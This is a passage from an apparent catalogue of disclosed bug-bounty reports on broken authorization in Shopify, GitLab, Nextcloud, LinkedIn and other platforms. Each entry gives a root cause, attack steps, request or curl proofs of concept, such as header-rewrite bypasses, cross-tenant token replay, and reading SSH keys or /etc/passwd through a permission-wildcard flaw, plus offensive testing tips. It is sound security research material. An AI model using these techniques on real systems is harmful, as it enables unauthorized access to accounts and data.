Authorization: token <PAT_without_repo_scope>
GET /search/commits?q=repo:ORG/PRIVATE
Authorization: token <PAT_without_repo_scope>
Insight — Scope/permission checks are often per-endpoint. Re-test the same data through secondary endpoints (search, export, GraphQL, RSS, webhooks) with a deliberately under-scoped token.
Real-world example
Long-lived API token leaked in app response; persists after offboarding
◆ Medium
Specimen #700831 · shopify · awarded · 53 votes · resolved
Program shopifySurface webChain info-disclosure (token in response) -> full-API access -&Tag graphqlTag account-takeover
Root cause
An installed app returned the store's privileged access token inside a client-visible GraphQL response (shopInfo.shopifyToken). Any staff member who could load the app page could scrape the token; because the token was long-lived and not tied to the staff session, it kept full API access even after the user was removed.
Method
- Load the app UI as a low-privilege staff member (only 'Apps' permission)
- In DevTools/proxy, inspect the app's backend GraphQL calls (e.g. the shopInfo query)
- Extract the returned access token
- Use it directly against the platform REST/GraphQL API (X-Shopify-Access-Token) to read/modify store data
- Have the owner remove you as staff — the token still works
GET /admin/orders.json HTTP/1.1
Host: victim-store.myshopify.com
X-Shopify-Access-Token: <token_scraped_from_app_response>
Insight — Grep every app/integration's client-visible responses for tokens/keys ('token','apiKey','secret'). A leaked long-lived token is an offboarding backdoor: it usually is not revoked when the human is removed. Test token validity after your access is revoked.
Real-world example
Admin restriction enforced only in UI; bypass via direct API
◆ Medium
Specimen #1086781 · gitlab · 1370 · 51 votes · resolved
Program gitlabSurface apiTag account-takeover
Root cause
An instance admin restricted certain project/group visibility options, but the restriction was enforced only in the web UI (option grayed out). The API accepted a direct PUT setting the restricted value, so any user could set the forbidden visibility.
Method
- As a non-privileged user, create a project and generate a personal access token
- Send a PUT to the project API setting the admin-restricted visibility value
- Observe 200 and the restricted value applied
PUT /api/v4/projects/27236 HTTP/1.1
Authorization: Bearer <token>
Content-Type: application/json
{"visibility": "internal"}
Insight — UI-grayed-out options are a giant tell. Every restriction/limit shown as disabled in the front end should be replayed directly against the API with the forbidden value. Server-side authorization is frequently missing where the UI already hides the control.
Real-world example
Resharer re-grants download permission stripped upstream
◆ Medium
Specimen #1724016 · nextcloud · 500 · 49 votes · resolved
Program nextcloudSurface api
Root cause
Share permissions were enforced only at share-creation, not re-validated against the parent share; a resharer could PUT their own share to re-enable the 'download' attribute the owner had removed, defeating secure-view/watermarking.
Method
- Owner shares folder to user2 with reshare but without download
- user2 reshares to user3 (share ID 11)
- user2 PUTs share 11 re-enabling the download attribute
- user3 downloads freely, bypassing secure view
curl -u user2:pass 'https://SERVER/ocs/v2.php/apps/files_sharing/api/v1/shares/11' -X PUT -H "OCS-APIREQUEST: true" -H 'Content-Type: application/json' --data-raw '{"permissions":"17","attributes":"[{\"scope\":\"permissions\",\"key\":\"download\",\"enabled\":true}]"}'
Insight — When a restriction propagates through a resharing/delegation chain, test whether a downstream principal can widen the permission set on their own object; parent constraints are often not intersected with child grants.
Real-world example
Account-state restriction not enforced on token-based API/Git paths
◆ Medium
Specimen #1285226 · gitlab · awarded · 49 votes · resolved
Program gitlabSurface apiTag graphql
Root cause
Restrictions tied to account state (expired password, deactivated) were enforced only on the interactive web-login path; personal-access-token auth to REST, GraphQL and Git HTTP skipped the state check, and an LDAP-focused fix regressed the earlier patch.
Method
- Create a user and generate a personal access token
- Admin sets/expires the user's password (state = expired) - do NOT complete the new-password page
- Use the token against REST (GET /api/v4/projects/:id), GraphQL and Git HTTP
- Access still granted despite the expired/deactivated state
curl --request GET --url https://gitlab.tld/api/v4/projects/:ID --header 'Authorization: Bearer <TOKEN>'
# GraphQL variant
curl 'https://gitlab.tld/api/graphql' -H 'Content-Type: application/json' -H 'Authorization: Bearer <TOKEN>' --data '{"query":"{ currentUser{ id } }"}'
Insight — When an account is disabled/expired/locked, re-test EVERY auth channel independently - web session, REST token, GraphQL, Git/SSH, OAuth. State gates are frequently implemented only in the login controller and missed on token middleware. Also re-test after later 'fix for X' releases: state checks regress.
Real-world example
BFLA via object-type param tampering (Guest creates test case)
◆ Medium
Specimen #1113289 · gitlab · awarded · 49 votes · resolved
Program gitlabSurface web
Root cause
GitLab enforces role permission on the visible action (create issue) but derives the created object type from a client-supplied issue[issue_type] parameter; changing it to test_case creates a test case, which requires Reporter+, from a Guest account.
Method
- As a Guest, capture the create-issue POST.
- Change issue[issue_type] from issue to test_case.
- Send it -> a test case is created despite Guest lacking that permission.
POST /<project>/-/issues
utf8=%E2%9C%93&authenticity_token=<t>&issue[title]=x&issue[description]=y&issue[issue_type]=test_case&issue[lock_version]=0
Insight — When one endpoint creates multiple object types selected by a request param, permission is often checked for the base type only. Fuzz type/kind/category params to reach object types your role shouldn't create.
Real-world example
Invitation token not scoped to tenant/store
◆ Medium
Specimen #423496 · shopify · awarded · 48 votes · resolved
Program shopifySurface web
Root cause
A Wholesale invitation token generated for the attacker's own store was accepted as valid for a different (target) store, because the token was not bound to the store it was issued for.
Method
- Attacker sets up their own store B and generates a valid invite link with a token
- Take the invite-accept URL and swap the store domain to target store A
- Register via the swapped link; the token validates against A
- Attacker gains full Wholesale access to store A without an invite
https://ATTACKERSTORE.wholesale.shopifyapps.com/accounts/invitation/accept?invitation_token=KqhsT8sWFbbEdxpHxHt7
->
https://TARGETSTORE.wholesale.shopifyapps.com/accounts/invitation/accept?invitation_token=KqhsT8sWFbbEdxpHxHt7
Insight — For invite/activation/confirmation tokens in multi-tenant apps, mint a token in your own tenant and replay it against another tenant's endpoint. If the token isn't cryptographically bound to its tenant/resource, you get cross-tenant onboarding.
Real-world example
Lower role reaches admin-only API endpoint (BFLA) - LinkedIn Analyst
◆ Medium
Specimen #1572591 · linkedin · awarded · 48 votes · resolved
Program linkedinSurface api
Root cause
The voyagerOrganizationDashEmailDomainMappings endpoint enforces no per-role authorization; an 'Analyst' (lower-privileged) company role can call it directly and read the approved email-verification domains that are only exposed to admins in the UI.
Method
- As an admin, capture the request to the email-domain-mappings endpoint.
- Replay it with the cookies/CSRF token of a lower-privileged (Analyst) user.
- Response discloses the admin-only data.
GET /voyager/api/voyagerOrganizationDashEmailDomainMappings?decorationId=com.linkedin.voyager.dash.deco.organization.FullOrganizationEmailDomainMapping-2&company=urn%3Ali%3Afsd_company%3A<id>&count=100&q=organization&start=0 HTTP/2
Host: www.linkedin.com
Csrf-Token: <lowpriv_token>
Cookie: <lowpriv_session>
Insight — Classic BFLA/A-B-A test: capture a privileged API call, replay it with a lower role's session. Endpoints not surfaced in the low-priv UI frequently lack their own role check.
Real-world example
ACL short-circuit: feature-flag grant evaluated before permission check
◆ Medium
Specimen #634679 · security · none · 47 votes · resolved
Program securitySurface web
Root cause
The can_manage_custom_fields ACL executed return_true_if(feature_enabled?(CUSTOM_FIELDS_TRIAL)) before the program_management_permission? check, so enabling the trial feature granted the capability to anyone who could access the program, including invited hackers on private programs.
Method
- Identify a capability gated behind both a feature flag and a role check
- Trigger the state where the feature flag/trial is enabled for the team
- As a low-priv principal (invited hacker/external profile), invoke the create/update action
- Action succeeds because the early return_true grants before the role check runs
def can_manage_custom_fields?
return_true_if { feature_enabled?(::Feature::CUSTOM_FIELDS_TRIAL, team: team) } # short-circuits
return_false_if { team.gates.closed?(FeatureGating::Gates::CUSTOM_FIELDS) }
can_view_custom_fields_settings?
end
Insight — When trial/beta feature flags flip access on, retest the whole permission surface as a low-priv user. Ordering bugs in policy code (an early positive return before the role gate) turn 'feature enabled' into 'everyone authorized'.
Real-world example
Private-account content leaked via alternate render/embed endpoint
◆ Medium
Specimen #174721 · x · awarded · 47 votes · resolved
Program xSurface webTag account-takeover
Root cause
A secondary rendering/oEmbed service (publish.twitter.com) fetches and renders content without enforcing the privacy ACL that the primary UI applies, exposing a private account's likes/timeline.
Method
- Identify a private/protected resource blocked in the main UI
- Find an alternate surface that renders the same resource (oEmbed, publish/print/export, AMP, API proxy)
- Request the private resource URL through that alternate surface
- Content renders without the privacy check
https://publish.twitter.com/?url=https://twitter.com/PRIVATE_ACCOUNT/likes
Insight — Privacy/ACL checks often live only in the primary app. Enumerate embed/oEmbed/print/export/AMP/legacy endpoints and replay protected object URLs through them; they frequently skip the visibility check.
Real-world example
Single-app grant unlocks full custom-app CRUD via direct API
◆ Medium
Specimen #1555502 · shopify · 1900 · 46 votes · resolved
Program shopifySurface graphqlChain create custom app -> change Admin API scopes -> instalTag graphql
Root cause
Managing custom apps required the 'Manage and install apps and channels' permission and the UI blocked staff without it, but granting a staff member permission to even one specific app made the backing GraphQL mutations (create/edit/install) succeed, bypassing the intended global permission.
Method
- Give a staff member 'View/Develop apps' plus access to just one specific app (not the global manage permission)
- Confirm the UI at /admin/apps/development is blocked for them
- Call the CreateAppMutation GraphQL endpoint directly with their session
- The mutation succeeds; further edit/install/scope-change endpoints also work
POST /admin/internal/web/graphql/core?operation=CreateAppMutation&type=mutation HTTP/2
Host: <store>.myshopify.com
Cookie: <STAFF_MEMBER_COOKIE>
X-Csrf-Token: <CSRF>
Content-Type: application/json
{"operationName":"CreateAppMutation","variables":{"input":{"title":"PoC","maintainerUserId":"gid://shopify/StaffMember/<ID>"}},"query":"mutation CreateAppMutation($input: ShopOwnedAppCreateInput!){ shopOwnedAppCreate(input:$input){ app{ id title } userErrors{ field message code } } }"}
Insight — When a coarse permission is required for a feature, test whether a narrower/partial grant flips the backend check. The UI enforcing the global permission while the API only checks a per-object grant is a classic BFLA.
Real-world example
Wildcard mishandling in fs allowlist grants unintended paths
◆ Medium
Specimen #2434819 · ibb · 1290 · 44 votes · resolved
Program ibbSurface other
Root cause
Node's permission model silently discarded any text after a * in --allow-fs-read/write paths and, for a trailing wildcard, also granted the path with the wildcard-and-last-char removed, so restrictive patterns like /.ssh/*.pub actually granted all of /.ssh/.
Method
- Grant a scoped fs permission using a wildcard pattern (e.g. /home/u/.ssh/*.pub)
- Read a file that should not match (e.g. /home/u/.ssh/id_rsa) - access granted
- Or use /etc/passwd.* and read /etc/passwd itself
node --experimental-permission --allow-fs-read=/home/u/.ssh/*.pub -p "fs.readFileSync('/home/u/.ssh/id_rsa').length"
node --experimental-permission --allow-fs-read=/etc/passwd.* -p 'fs.readFileSync("/etc/passwd")'
Insight — Fuzz allowlist/glob parsers with wildcards mid-string and trailing: implementations often truncate at the first * or off-by-one the boundary, collapsing a narrow rule to a broad one. Applies to any path/permission allowlisting layer.
Real-world example
WordPress REST endpoint missing permission check leaks private messages (CVE-2022-2034)
◆ Medium
Specimen #1590237 · automattic · awarded · 44 votes · resolved
Program automatticSurface apiTag account-takeover
Root cause
A plugin (Sensei LMS) registers a custom post type over the WP REST API without a permission_callback, so private teacher-student messages are readable unauthenticated by enumerating the numeric post ID.
Method
- Identify custom post types exposed under /wp-json/wp/v2/ (from the plugin's REST registration)
- Request the collection or a specific numeric id unauthenticated
- Enumerate ids to pull all private records
- Confirm no auth/permission is enforced
GET /wp-json/wp/v2/sensei-messages/<numericID> # unauthenticated, id enumerable
Insight — On WordPress targets, enumerate /wp-json/wp/v2/ for plugin-registered post types (messages, orders, submissions) and test them unauthenticated - plugins routinely omit permission_callback, exposing private data by ID enumeration. Check /wp-json for the full route map first.
Real-world example
Missing backend authz on Pontoon state-changing endpoints (frontend-only checks)
◆ Medium
Specimen #3020021 · mozilla · awarded · 43 votes · resolved
Program mozillaSurface web
Root cause
Pontoon gates privileged actions (unapprove translation, pin/unpin comment) only in the frontend by hiding the button; the backend view has no permission check, so any logged-in user can invoke the endpoint directly with a valid session and CSRF token.
Method
- Log in as a low-privileged user; locate the object ID from a read endpoint (e.g. /get-history/ or /get-team-comments/ response).
- Replay the privileged action request with your own session cookie + X-Csrftoken and the target object ID.
- Observe 200 OK and the state change (translation unapproved / comment pinned).
POST /translations/unapprove/ HTTP/1.1
Host: mozilla-pontoon-staging.herokuapp.com
Cookie: <session>
X-Csrftoken: <token>
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
translation=5184479&paths%5B%5D=LC_MESSAGES%2Famo.po
Insight — When a button is conditionally rendered by a canX frontend flag, the backend view is the real test. Pull the object ID from a sibling read API and fire the mutating endpoint directly — missing @permission_required on the view is extremely common. Two separate Pontoon endpoints had the same flaw.
Real-world example
Permission bypass via alternate action endpoint (slash commands)
◆ Medium
Specimen #1851818 · mattermost · awarded · 42 votes · resolved
Program mattermostSurface apiTag webhook
Root cause
The UI-level 'cannot post to channel' restriction is not enforced on the /commands/execute endpoint, so a member without post permission can emit channel messages by executing a command (e.g. /echo).
Method
- As a member without post permission in a channel, capture your session + CSRF token.
- POST /api/v4/commands/execute with a command that outputs a message and the target channel_id/team_id.
POST /api/v4/commands/execute HTTP/1.1
Host: TARGET
X-CSRF-Token: {TOKEN}
Content-Type: application/json
{"command":"/echo attacker-msg","channel_id":"CHANNEL_ID","team_id":"TEAM_ID"}
Insight — When one action (post message) is blocked, look for a secondary feature that produces the same side effect through a different code path (commands, imports, webhooks, integrations) where the permission check was never wired up.
Real-world example
403 Forbidden bypass via HTTP method + Content-Length
◆ Medium
Specimen #991717 · deptofdefense · none · 40 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
An access rule denies GET to a path but the same resource is served for other verbs; switching to POST (with Content-Length:0 to avoid a 411) reaches the otherwise forbidden content.
Method
- Find a path returning 403 on GET.
- Re-request with POST and Content-Length:0.
curl -H "Content-Length:0" -X POST https://TARGET/forbidden-path
Insight — 403/401 responses are often verb- or path-normalization-specific. Try POST/PUT/HEAD, add Content-Length:0, and path tricks (//, /./, %2e, trailing dot, case) before concluding a resource is protected.
Real-world example
Authorization enforced synchronously but skipped on async (scheduled-email) delivery path
◆ Medium
Specimen #149914 · bime · awarded · 39 votes · resolved
Program bimeSurface web
Root cause
An object reference (widget query_id) is authorization-checked when rendered/exported in the UI, but the asynchronous scheduled-email job that renders the same widget performs no authorization check, so tampered IDs leak other tenants' data through the email.
Method
- Create a dashboard/widget; capture the POST /widgets.json request containing query_id.
- Change query_id to another tenant's query object.
- Observe the UI widget renders empty and UI export produces empty PDFs (authz works there).
- Schedule an email reminder for the dashboard; the emailed PDF/image contains the actual unauthorized data.
POST /widgets.json HTTP/1.1
Host: TARGET
Content-Type: application/json
{"title":"x","query_id":OTHER_TENANT_QUERY_ID,"tab_id":YOURS,"visualisation_type":"none"}
Insight — Never conclude an IDOR is fixed just because the primary UI/export path blocks it. Enumerate every alternate rendering path -- scheduled emails, digests, webhooks, PDF/report generators, background jobs -- which frequently run under different (or service) privileges and re-check nothing.
Real-world example
Non-expiring signed token leaves de-authorized staff with lingering privilege
◆ Medium
Specimen #254588 · shopify · awarded · 38 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
A capability is gated by a signature/HMAC that is identical for all staff, is not bound to the session, and never expires. Once captured while authorized, the signed value keeps working after the user is removed.
Method
- As org owner, grant a new staff member a specific permission (e.g. Manage Shops / Apps).
- As that staff member, open the privileged flow and grab the signature parameter from the page source (extra[affiliate_shop] here, path_hmac in #416983).
- Owner removes the staff member.
- Replay the saved signature in a crafted request/form to still perform the action (create dev store / edit connector).
<form action="https://app.shopify.com/services/signup/setup" method=post>
<input name="signup[shop_name]" value="NewStoreTestTest1234">
<input name="signup[email]" value="attacker@gmail.com">
<input name="signup[password]" value="P@ssw0rd">
<input name="signup_types" value="affiliate_shop">
<input name="signup_source" value="development+shop">
<input name="extra[affiliate_shop]" value="[CAPTURED_SIGNATURE]">
<input type=submit>
</form>
Insight — When authorization rides on a signed URL/parameter instead of the live session, capture that value while you legitimately have access, then keep it. Test whether the signature is per-user, per-session, and time-bound; if it is a static HMAC of a path it survives de-provisioning. A common de-authorization gap in bug bounty.
Real-world example
RBAC fails open due to permission-name typo
◆ Medium
Specimen #3589551 · rocket_chat · none · 38 votes · resolved
Program rocket_chatSurface apiTag account-takeover
Root cause
A typo in the permissionRequired property on the /api/apps/logs and /api/apps/:id/logs route definitions means the RBAC guard references a non-existent permission and is not enforced, letting any authenticated user GET admin-only app logs.
Method
- Authenticate as a low-privileged user.
- GET /api/apps/logs (and /api/apps/:id/logs).
- Receive admin-only Enterprise App logs.
GET /api/apps/logs HTTP/1.1
Host: TARGET
X-Auth-Token: {LOW_PRIV_TOKEN}
X-User-Id: {LOW_PRIV_ID}
Insight — Permission checks configured by string names fail open when the name is misspelled or unregistered. In source review, grep route definitions for the permission property and confirm each referenced permission actually exists; test admin-only API routes with a low-priv token even when a guard appears present.
Real-world example
Internal cron/admin endpoint reachable from the internet
◆ Medium
Specimen #1066790 · who-covid-19-mobile-app · none · 38 votes · resolved
Program who-covid-19-mobile-appSurface webTag cloud-gcp
Root cause
An endpoint intended for internal cron invocation (path prefixed /internal/) has no auth/IP restriction, so anyone can trigger the costly scheduled job on demand.
Method
- Read cron.yaml / app config (often in the public repo) for internal job paths.
- Request the /internal/cron/* endpoint directly and time the response to confirm the heavy job runs.
time curl -v https://TARGET/internal/cron/refreshCaseStats
Insight — App Engine / framework cron and 'internal' endpoints rely on header or network controls that are often absent. Mine cron.yaml, app.yaml, robots.txt, and source for /internal, /cron, /tasks, /admin paths and hit them directly.
Real-world example
Front-proxy ACL bypass via X-Rewrite-Url / X-Original-Url header
◆ Medium
Specimen #737323 · clario · 300 · 38 votes · resolved
Program clarioSurface web
Root cause
The front nginx enforces path-based access control (403 on /admin), but the backend app framework honors X-Rewrite-Url / X-Original-Url to internally re-route the request. Requesting an allowed path with the header set to the forbidden path bypasses the front-proxy ACL.
Method
- Find a path blocked by the front server (e.g. /admin -> 403).
- Send a request to an allowed path (/) with X-Rewrite-Url or X-Original-Url set to the forbidden path.
- Backend re-routes to the forbidden resource, returning it despite the front-proxy block.
# normal (blocked):
curl -i -k https://TARGET/admin/login # 403
# bypass:
curl -i -k -H 'X-Rewrite-Url: admin/login' https://TARGET/
curl -i -k -H 'X-Original-Url: /admin/login' https://TARGET/
Insight — When a reverse proxy does path-based authz but the backend (IIS/ASP.NET, Symfony, etc.) trusts X-Original-Url/X-Rewrite-Url, you can desync them. Also try X-Forwarded-Path, path traversal, case/encoding tricks. This is a general proxy-vs-backend routing desync class.
Real-world example
UI invite restriction bypassed via hidden endpoint from JS bundle
◆ Medium
Specimen #1486417 · security · awarded · 35 votes · resolved
Program securitySurface web
Root cause
Inviting members is disabled in the UI (grayed 'max invitations reached'), but the underlying invite endpoint is not server-side restricted. The real endpoint, discoverable in a JS chunk, can be called directly to send invites despite the UI limit.
Method
- Observe the UI blocks invites ('reached maximum number of team member invitations')
- Grep the app's JS bundles for invite endpoints (e.g. .../users/new_invite vs the gated .../users/invite)
- Open/POST the ungated endpoint directly with a target email
- Invitation is sent despite the UI restriction
Endpoint from JS chunk (30.<hash>.chunk.js):
https://hackerone.com/organizations/<org>/users/new_invite (bypasses the gated .../users/invite)
Insight — When a UI disables an action for tier/limit reasons, mine the JS bundles for the underlying API routes and call them directly - client-side gating rarely mirrors server-side authorization. Diff the 'disabled' route against sibling routes (invite vs new_invite).
Real-world example
Secondary/legacy API host enforces weaker authz than main API
◆ Medium
Specimen #1072893 · logitech · $200 · 35 votes · resolved
Program logitechSurface apiChain low-priv shared access -> platform API -> parent JWT -Tag jwt
Root cause
A restricted 'Moderator' shared-access user is blocked from the parent's info on the primary API (streamlabs.com/api/v5/user/) but the developer/platform host (platform.streamlabs.com/api/v1/s/user/me) lacks the same check and returns the parent's email and JWT.
Method
- Get low-priv (Moderator) shared access to a victim account
- Confirm the main API endpoint returns 'Unauthorized'
- Hit the parallel platform/developer API host for /user/me
- Receive parent email + JWT used for developer API
GET /api/v1/s/user/me HTTP/1.1
Host: platform.streamlabs.com
# returns parent user id, email, JWT
Insight — Enumerate a product's other API subdomains (platform./api./dev./legacy.); access-control fixes on the main host are often not mirrored on secondary hosts serving the same objects.
Real-world example
Unauthenticated Meteor/DDP method changes any user's presence status
◆ Medium
Specimen #501077 · rocket_chat · none · 33 votes · resolved
Program rocket_chatSurface web
Root cause
The meteor-user-presence package's UserPresence:away/online DDP methods accept a target user _id and mutate that user's status without verifying the caller owns it - missing authorization on a WebSocket method.
Method
- Recover a target user's _id from client network/WebSocket traffic
- Open a DDP WebSocket to the server
- Call the UserPresence method with the victim's _id
- Observe the victim's online status change in other sessions
["{\"msg\":\"method\",\"method\":\"UserPresence:online\",\"params\":[\"$USER_ID\"],\"id\":\"23\"}"]
Insight — Enumerate Meteor/DDP methods (and any RPC-over-WebSocket API) and call each with another user's id. Real-time frameworks often authenticate the socket but forget per-method object-level authz, trusting the id in params.
Real-world example
Password-page bypass via reusable preview token (_bt)
◆ Medium
Specimen #961929 · Shopify · USD 1500 · 32 votes · resolved
Program ShopifySurface web
Root cause
The store-preview bypass token (?_bt=...) was not scoped to the store that generated it, so a token minted from any store the attacker controls unlocks the password page of any other protected store's preview URL.
Method
- Create/own a development store meeting the new (password-protected) standard
- Open 'View your store' and copy the ?_bt=<token> query parameter from the address bar
- Take a victim store's preview URL that also requires a password
- Append your copied ?_bt=<token> to the victim preview URL and load it
- Password page is bypassed and protected content is shown
https://VICTIM-STORE.myshopify.com/?preview_theme_id=...&_bt=<TOKEN_COPIED_FROM_YOUR_OWN_STORE>
Insight — Whenever an app gates content behind a 'bypass/preview/share' token, test whether a token issued for resource A also authorizes resource B. Capability tokens must be bound to the specific object they unlock.
Real-world example
Hidden registration endpoint bypasses SSO whitelist to reach user API
◆ Medium
Specimen #318099 · Grab · awarded · 32 votes · resolved
Program GrabSurface apiChain Self-register -> obtain token -> user-enumeration API
Root cause
An under-development portal restricted login to whitelisted Google accounts, but an unadvertised /login/create endpoint still allowed self-registration; the resulting token then unlocked a user-listing API.
Method
- Note the UI only offers Google SSO restricted to a whitelist
- Directly POST to /login/create with a chosen userid/password to create an account
- POST /login with those creds to obtain a valid bearer token
- Use the token against /api/find/users to dump the allowed-user list
POST /login/create HTTP/1.1
Host: TARGET
Authorization: Bearer null
Content-Type: application/json
{"userid":"attacker","password":"attacker"}
# then
POST /login {"userid":"attacker","password":"attacker"} -> token
GET /api/find/users (with token) -> user list
Insight — A locked front door (SSO whitelist) does not mean the account-creation API is locked. Enumerate /register, /login/create, /signup on apps that only show federated login; self-service registration endpoints are often left enabled.
Real-world example
GraphQL credential-claim mutation missing private-program authorization
◆ Medium
Specimen #449680 · HackerOne · none · 32 votes · resolved
Program HackerOneSurface graphqlTag graphql
Root cause
The ClaimCredentialMutation assigned a program credential to the current user without verifying the user had access to the (soft-launched/private) program behind a published external program, letting anyone drain and obtain credentials.
Method
- Identify a private/soft-launched program that has a published external program
- Invoke the claim-credential GraphQL mutation as an unauthorized authenticated user
- Credential is reassigned to you despite no program access; repeat to drain the pool
mutation { claimCredential(input:{externalProgramId:"<id>"}) { credential { value } } }
Insight — Authorization must be checked on the underlying private resource, not just on the public wrapper (external program). Test mutations that grant/claim/assign resources from an unentitled account, especially where a public object links to a private one.
Real-world example
Sudo/password-confirmation bypass by calling the underlying API directly
◆ Medium
Specimen #2120667 · nextcloud · awarded · 31 votes · resolved
Program nextcloudSurface web
Root cause
Nextcloud requires password (sudo-mode) confirmation for a sensitive action in the UI, but the underlying OCS API endpoint that performs the action does not enforce the re-authentication, so calling it directly bypasses the confirmation.
Method
- Create a workflow at /settings/user/workflow
- Click Delete - the UI prompts for password confirmation (sudo mode)
- Instead, send the DELETE directly to the workflowengine API endpoint
- The workflow is deleted without any password confirmation
DELETE /nextcloud/ocs/v2.php/apps/workflowengine/api/v1/workflows/user/3?format=json
Insight — Re-authentication / sudo-mode / step-up is often a front-end gate. Identify the API call the confirmed action ultimately issues and invoke it directly - if the endpoint itself doesn't demand the fresh credential, the protection is cosmetic.
Real-world example
Members-only download link leaks publicly after authorized click
◆ Medium
Specimen #1043480 · gitlab · awarded · 31 votes · resolved
Program gitlabSurface webTag account-takeover
Root cause
For a public project with all features set members-only, the branch archive download URL became fetchable by unauthenticated users for a short window right after an authorized user clicked it (cached/short-lived authorization on the constructable URL).
Method
- Identify the constructable archive URL: /<group>/<proj>/-/archive/master/<proj>-master.zip
- Confirm it errors when unauthenticated
- Loop-refresh the URL (e.g. Selenium IDE) from an unauthenticated client
- When any authorized user clicks the download, the racing client succeeds and grabs the archive
GET https://gitlab.com/<group>/<proj>/-/archive/master/<proj>-master.zip # poll in a loop until an authorized click makes it public momentarily
Insight — Predictable/short-lived authorized download URLs can leak to anyone racing the window. Test constructable archive/export URLs with an unauthenticated poller against an authorized action.
Real-world example
Read-only admin bypass by flipping client-side readonly attribute
◆ Medium
Specimen #1538004 · acronis · USD 200 · 29 votes · resolved
Program acronisSurface web
Root cause
The read-only administrator restriction on the Agents Update settings was enforced only by an HTML readonly=true attribute; the backend accepted the save with no server-side role check.
Method
- Log in as a Read-only administrator
- Open the Agents Update settings page
- Edit the DOM: change readonly="true" to readonly="false" on the form fields
- Modify, submit and save
- Changes take effect and are visible to full administrators
// DevTools: find readonly attribute
readonly="true" -> readonly="false"
// then submit the normally-disabled form
Insight — Whenever a role is called read-only/viewer, look for disabled/readonly form controls and try submitting anyway. Client-side disabling is not authorization; the server must reject writes from view-only roles.
Real-world example
Asymmetric authz: Reset lacks the per-item permission loop that Trip has
◆ Medium
Specimen #2120609 · cosmos · awarded · 29 votes · resolved
Program cosmosSurface other
Root cause
In the Cosmos SDK circuit-breaker module, the SOME_MSGS permission level was enforced with a per-message allowlist loop on TripCircuitBreaker but that loop was missing on ResetCircuitBreaker, so a user allowed one message could reset ALL circuit breakers.
Method
- Grant a user SOME_MSGS permission for a single message url
- Confirm Trip is restricted to that message (loop enforced)
- Call ResetCircuitBreaker on a different message url_bad
- Reset succeeds despite lacking permission for that message
// x/circuit/keeper/msg_server.go
// TripCircuitBreaker: SOME_MSGS -> loops/validates each msg
// ResetCircuitBreaker: SOME_MSGS -> missing per-msg validation loop
Insight — When one operation on a resource has a permission check, audit its SIBLINGS (create vs delete, trip vs reset, enable vs disable). Authz enforced on one verb is frequently copy-pasted without the check to the inverse verb.
Real-world example
Fine-grained PAT: adjacent write scope enables out-of-scope issue-comment modification
◆ Medium
Specimen #2209433 · github · awarded · 29 votes · resolved
Program githubSurface apiTag oauth
Root cause
A fine-grained token that lacked issues:write could still modify issue comments when it held contents:write plus issues:read, because the authorization for the comment-update action keyed off the wrong permission pair.
Method
- Create a fine-grained PAT with issues:read and contents:write but NOT issues:write
- Call the issue-comment update endpoint
- Comment is modified despite missing the intended issues:write scope
# token scopes: issues:read + contents:write (NO issues:write)
# -> PATCH issue comment succeeds (CVE-2023-51379)
Insight — Fine-grained permission systems have cross-scope leakage: an action may be authorized by an unrelated but adjacent write scope. Enumerate each action against a token holding only neighboring scopes to find the wrong permission mapping.
Real-world example
Cross-tenant privilege escalation via role field on an employee-management RPC (BFLA/mass-assignment)
◆ Medium
Specimen #1063022 · uber · awarded · 29 votes · resolved
Program uberSurface webChain user role -> updateEmployees role=admin -> admin; crosTag account-takeover
Root cause
A business-employee management endpoint (updateEmployees RPC) does not authorize the role change or enforce tenant isolation, so a plain 'user' role member can craft a request to set themselves (or others) to admin, and reach employees of other businesses given a known employeeUuid.
Method
- As a low-privilege business user, capture the employee-update RPC
- Change the role field to admin (and/or target another business's employeeUuid)
- Replay to escalate privileges / edit other tenants' employees / take over invitations
POST /_rpc?rpc=updateEmployees (business.uber.com)
{ "employeeUuid": "<known-uuid>", "role": "admin" } // role/tenant not authorized server-side
Insight — Team/employee management endpoints are prime BFLA + mass-assignment targets: submit a role/permission field as a low-priv member, and swap object UUIDs to cross tenant boundaries. Always test whether the role in the update body is validated against the caller's privileges.
Real-world example
Federated-share recipient self-escalates permissions
◆ Medium
Specimen #1990443 · owncloud · awarded · 29 votes · resolved
Program owncloudSurface apiTag webhook
Root cause
The federated-sharing notification endpoint trusts a recipient-supplied RESHARE_CHANGE_PERMISSION message: given the share token and ID (both visible to the recipient), it applies the requested permission set without checking that the recipient is authorized to raise their own access.
Method
- Receive a read-only federated share and accept it
- Read the share token and share ID from your own client/database
- POST a RESHARE_CHANGE_PERMISSION notification to the sharer's server with permission read+write+share
- You now have full access
POST /apps/federatedfilesharing/notifications
{"notificationType":"RESHARE_CHANGE_PERMISSION","resourceType":"file","providerId":"SHARE_ID","notification":{"sharedSecret":"SHARE_TOKEN","permission":["read","write","share"]}}
Insight — Federation/webhook/notification endpoints frequently trust the peer's claimed permission set. Whenever you hold a share token, replay the server-to-server notification and try elevating read->write->share.
Real-world example
Revocation bypass: removed staff perpetually refreshes time-limited signed URL
◆ Medium
Specimen #698708 · shopify · awarded · 28 votes · resolved
Program shopifySurface web
Root cause
Access to Flow app connectors was authorized solely by a 1-hour signed URL (timestamp + path_hmac). A removed staff member could trigger the connect/disconnect flow to mint fresh timestamp/path_hmac pairs indefinitely, and admin re-signing did not invalidate the old holder's access.
Method
- As staff with Apps permission, connect a connector and capture the signed URL (timestamp + path_hmac)
- Get removed from the store
- Before the 60-min window expires, revisit the saved URL and click Disconnect then Connect
- A new timestamp + path_hmac is generated, granting another 60 minutes; repeat every ~45 min forever
https://flow-connectors.shopifycloud.com/gsheet/connect?shop_domain=victim.myshopify.com&shop_id=ID×tamp=TS&path_hmac=HMAC
# re-trigger connect flow -> fresh TS+HMAC each time
Insight — Time-limited signed URLs are not a substitute for session/permission revocation. Test whether a de-provisioned user can self-renew a signed token by re-invoking the signing action, and whether re-issuance invalidates prior grants.
Real-world example
Role-restricted data via direct API call (UI-only RBAC)
◆ Medium
Specimen #961757 · x · awarded · 27 votes · resolved
Program xSurface apiTag api
Root cause
The 'Sources' feature is hidden from the Analyst role only in the UI; the backing GET endpoint enforces no role check, so an analyst pulls source name/url/key directly.
Method
- Get added to a victim account with a low (Analyst) role
- Switch into the victim account
- Call the JSON endpoint the UI omits for your role, supplying account_id/owner_id/user_id
GET https://studio.twitter.com/1/live/ingest/list.json?account_id=ID&owner_id=ID&user_id=ID
